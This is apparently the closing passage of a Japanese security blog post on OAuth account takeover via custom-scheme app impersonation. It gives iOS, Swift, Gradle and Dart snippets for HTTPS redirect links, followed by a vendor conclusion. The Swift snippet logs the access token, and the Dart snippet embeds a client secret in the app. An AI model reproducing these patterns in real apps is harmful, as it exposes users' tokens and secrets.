...
<key>com.apple.developer.associated-domains</key>
<array>
<string>applinks:auth.myapp.com</string>
</array>
...
</dict>
</plist>
Swift
func doAuthWithAutoCodeExchange(configuration: OIDServiceConfiguration, clientID: String, clientSecret: String?) {
guard let appDelegate = UIApplication.shared.delegate as? AppDelegate else {
self.logMessage("Error accessing AppDelegate")
return
}
// builds authentication request
let request = OIDAuthorizationRequest(configuration: configuration,
clientId: clientID,
clientSecret: clientSecret,
scopes: [OIDScopeOpenID, OIDScopeProfile],
redirectURL: "https://auth.myapp.com/oauth/handler",
responseType: OIDResponseTypeCode,
additionalParameters: nil)
// performs authentication request
logMessage("Initiating authorization request with scope: \(request.scope ?? "DEFAULT_SCOPE")")
appDelegate.currentAuthorizationFlow = OIDAuthState.authState(byPresenting: request, presenting: self) { authState, error in
if let authState = authState {
self.setAuthState(authState)
self.logMessage("Got authorization tokens. Access token: \(authState.lastTokenResponse?.accessToken ?? "DEFAULT_TOKEN")")
} else {
self.logMessage("Authorization error: \(error?.localizedDescription ?? "DEFAULT_ERROR")")
self.setAuthState(nil)
}
}
}
Flutter
Gradle
// android/build.gradle
android {
// ...
defaultConfig {
// ...
// Add the following line
manifestPlaceholders = [auth0Domain: "auth.myapp.com", auth0Scheme: "https"]
}
// ...
}
Dart
final authorizationEndpoint =
Uri.parse('http://example.com/oauth2/authorization');
final tokenEndpoint = Uri.parse('http://example.com/oauth2/token');
final identifier = 'my client identifier';
final secret = 'my client secret';
// Redirect URI with custom scheme
final redirectUrl = Uri.parse('https://auth.myapp.com/oauth/handler');
final credentialsFile = File('~/.myapp/credentials.json');
Future<oauth2.Client> createClient() async {
var exists = await credentialsFile.exists();
if (exists) {
var credentials =
oauth2.Credentials.fromJson(await credentialsFile.readAsString());
return oauth2.Client(credentials, identifier: identifier, secret: secret);
}
var grant = oauth2.AuthorizationCodeGrant(
identifier, authorizationEndpoint, tokenEndpoint,
secret: secret);
var authorizationUrl = grant.getAuthorizationUrl(redirectUrl);
await redirect(authorizationUrl);
var responseUrl = await listen(redirectUrl);
return await grant.handleAuthorizationResponse(responseUrl.queryParameters);
}
まとめ
結論として、カスタムスキームを使ったモバイルアプリのなりすましによるOAuthアカウント乗っ取りの脅威は、ユーザーとOAuthプロバイダーの双方にとって差し迫った懸念です。
Googleはすでに、Androidクライアントに対するカスタムURIスキームのリダイレクト方式をデフォルトで無効にすることで、対策を講じ始めています。
Ostorlabでは、この脆弱性パターンの検出を自動化するための検出ルールを開発することで対策を講じており、インストール数が1億を超えるすべての主要アプリケーションにすでに報告済みです。また、この検出をOstorlab Community Scannerにも組み込んでいます。

タグ:
security